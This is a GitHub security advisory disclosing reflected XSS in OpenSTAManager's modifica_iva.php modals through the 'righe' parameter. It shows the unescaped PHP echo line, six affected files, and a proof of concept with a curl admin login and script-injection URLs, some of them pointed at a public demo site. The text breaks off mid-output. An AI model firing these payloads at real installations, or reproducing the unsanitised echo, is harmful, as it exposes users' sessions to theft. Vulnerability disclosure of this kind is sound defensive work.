GitHub Security Advisory: GHSA-jfgp-g7x7-j25j
Package: devcode-it/openstamanager (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.9.8
Patched in: 2.9.8

Summary: OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter

Details:
### Summary

Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.

**Vulnerable Parameter:** `righe` (GET)

### Details

OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.

**Vulnerable Code Location:**
File: `/modules/contratti/modals/modifica_iva.php` (Line 125)

```php
<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">
```

The `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

**All Affected Files:**

1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**
2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**
3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**
4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**
5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**
6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**

### PoC

**Prerequisites:**
- Running instance of OpenSTAManager v2.9.8
- Valid admin credentials (username: admin, password: admin for test instance)

**Step 1: Login**
```bash
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'
```

**Step 2: Trigger XSS**
Navigate to the following URL in a browser (or use curl with cookies):
```
http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>
```

**Tested URLs (All vulnerable):**
- `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`

**Expected Result:**
JavaScript alert popup displays showing the current session cookie, confirming code execution.

**HTML Output (verified on live instance):**
```html
<input type="hidden" name="righe" valu